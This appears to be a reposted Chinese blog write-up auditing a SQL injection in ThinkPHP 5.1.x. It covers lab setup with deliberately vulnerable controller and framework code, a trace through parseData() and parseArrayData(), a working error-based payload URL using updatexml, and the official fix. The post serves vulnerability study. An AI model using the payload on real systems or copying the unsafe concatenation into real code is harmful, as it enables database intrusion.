小言_互联网的博客

ThinkPHP5.1.17代码审计【SQL注入】

240人阅读  评论(0)

简介:

parseArrayData() 中出现可控制的拼接情况,从而导致 SQL注入 漏洞( update 方法注入)
漏洞影响版本: 5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。

环境搭建

利用composer下载5.1.17版本的源码

composer create-project  topthink/think=5.1.17 thinkphp5.1.17

到composer.json中修改

到config/app.php中开启调试

到config/database.php中配置数据库信息

到application/index/controller/Index.php配置如下代码

<?php
namespace app\index\controller;

class Index
{
   
    public function index()
    {
   
        $username = request()->get('username/a');
        db('users')->where(['id' => 1])->update(['username' => $username]);
        return 'Update success';
    }
}

由于某些原因,不管你是在composer或者github上下载到的这版本代码中,thinkphp/library/think/db/Builder.php处的parseData方法中会缺少一段漏洞利用的必要代码,还会缺少parseArrayData这个方法,我们要复现成功的话要加上这些必要代码

thinkphp/library/think/db/Builder.php中的parseData()方法替换成以下的:

    /**
     * 数据分析
     * @access protected
     * @param  Query     $query     查询对象
     * @param  array     $data      数据
     * @param  array     $fields    字段信息
     * @param  array     $bind      参数绑定
     * @param  string    $suffix    参数绑定后缀
     * @return array
     */
    protected function parseData(Query $query, $data = [], $fields = [], $bind = [], $suffix = '')
    {
   
        if (empty($data)) {
   
            return [];
        }

        $options = $query->getOptions();

        // 获取绑定信息
        if (empty($bind)) {
   
            $bind = $this->connection->getFieldsBind($options['table']);
        }

        if (empty($fields)) {
   
            if ('*' == $options['field']) {
   
                $fields = array_keys($bind);
            } else {
   
                $fields = $options['field'];
            }
        }

        $result = [];

        foreach ($data as $key => $val) {
   
            $item = $this->parseKey($query, $key);

            if ($val instanceof Expression) {
   
                $result[$item] = $val->getValue();
                continue;
            } elseif (!is_scalar($val) && (in_array($key, (array) $query->getOptions('json')) || 'json' == $this->connection->getFieldsType($options['table'], $key))) {
   
                $val = json_encode($val);
            } elseif (is_object($val) && method_exists($val, '__toString')) {
   
                // 对象数据写入
                $val = $val->__toString();
            }

            if (false !== strpos($key, '->')) {
   
                list($key, $name) = explode('->', $key);
                $item             = $this->parseKey($query, $key);
                $result[$item]    = 'json_set(' . $item . ', \'$.' . $name . '\', ' . $this->parseDataBind($query, $key, $val, $bind, $suffix) . ')';
            } elseif (false === strpos($key, '.') && !in_array($key, $fields, true)) {
   
                if ($options['strict']) {
   
                    throw new Exception('fields not exists:[' . $key . ']');
                }
            } elseif (is_null($val)) {
   
                $result[$item] = 'NULL';
            } elseif (is_array($val) && !empty($val)) {
   
                switch ($val[0]) {
   
                    case 'INC':
                        $result[$item] = $item . ' + ' . floatval($val[1]);
                        break;
                    case 'DEC':
                        $result[$item] = $item . ' - ' . floatval($val[1]);
                        break;
                    default:
                        $value = $this->parseArrayData($query, $val);
                        if ($value) {
   
                            $result[$item] = $value;
                        }
                }
            } elseif (is_scalar($val)) {
   
                // 过滤非标量数据
                $result[$item] = $this->parseDataBind($query, $key, $val, $bind, $suffix);
            }
        }

        return $result;
    }

再在thinkphp/library/think/db/Builder.php下加入以下方法:

   /**
     * 数组数据解析
     * @access protected
     * @param  Query     $query     查询对象
     * @param  array     $data
     * @return mixed
     */
    protected function parseArrayData(Query $query, $data)
    {
   
        list($type, $value) = $data;

        switch (strtolower($type)) {
   
            case 'point':
                $fun   = isset($data[2]) ? $data[2] : 'GeomFromText';
                $point = isset($data[3]) ? $data[3] : 'POINT';
                if (is_array($value)) {
   
                    $value = implode(' ', $value);
                }
                $result = $fun . '(\'' . $point . '(' . $value . ')\')';
                break;
            default:
                $result = false;
        }

        return $result;
    }

正常流程走一次

正常流程走一次

http://127.0.0.1/thinkphp5.1.17/public/index.php/index/index/index?username=DMIND

首先是通过get()方法获取到参数username的值=> DMIND,期间经过一系列过滤

db('users'):创建数据库连接对象实例,返回查询对象实例


经过一个$param = func_get_args();得到参数:id=1

然后进入parseWhereExp()分析查询表达式,这里面主要进行parseWhereItem(),然后得到where的一些数据。最后return $this返回这个对象

然后到 update(['username' => $username])部分,

先看parseOptions()这个方法,主要就是获取到update查询的表


返回$this对象后到update方法,它在thinkphp/library/think/db/Connection.php,这里面主要是生成SQL语句,然后绑定参数,然后执行

先看看$sql = $this->builder->update($query);他调用了thinkphp/library/think/db/Builder.php下的update会生成Update的SQL语句。看看这个生成SQL语句的方法:和INSERT的操作类似,先是用parseData()对$data处理,然后对既定语句进行替换得到SQL语句

生成的SQL语句:

UPDATE `users`  SET `username` = :ThinkBind_1_1463045952_  WHERE  `id` = :ThinkBind_2_1779995301_  

然后就是对执行语句…进行了预处理。

不正常流程走一次

以上是正常输入一个字符串的情况,算是体验一下TP处理的正常流程,当输入数组时就会出现可利用的情况

payload:

http://127.0.0.1/thinkphp5.1.17/public/index.php/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0 

一直正常进行到thinkphp/library/think/db/Connection.php的update,

我们跟进到thinkphp/library/think/db/Builder.php的update()方法,然后需要调用parseData()处理数据,最后到进行替换,跟进parseData()

在parseData()中,因为$val是数组,且$val[0] 既不是INC又不是DEC,所以进入了default,在其中又调用了parseArratData(),继续跟进这个方法,问题就出在parseArratData()里面

parseArrayData()方法:

$type$value分别赋予$data数组第一个和第二个值,当$data[0]=point$data[1]的值不为数组时即可进行以下拼接,这个拼接就是利用点了,因为$fun$point$value都是我们可控的,其中 $fun = $data[2]$point = $data[3]

$result = $fun . '(\'' . $point . '(' . $value . ')\')';

拼接后的$result:

updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)')

最终拼接到SQL语句中得到:

UPDATE `users`  SET `username` = updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)')  WHERE  `id` = 1  

这样就实现报错注入了。

其实源头还是因为parseData()方法,在这个版本中虽然不像TP5.0.15一样可利用INC、DEC但引入的parseArrayData()方法出现了拼接问题。

七月火师傅的攻击流程图:

修复

目前在GITHUB上似乎找不到parseArrayData()方法的代码了,官方的修复方式是直接删除了parseArrayData()方法…


转载:https://blog.csdn.net/weixin_45669205/article/details/116428483
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场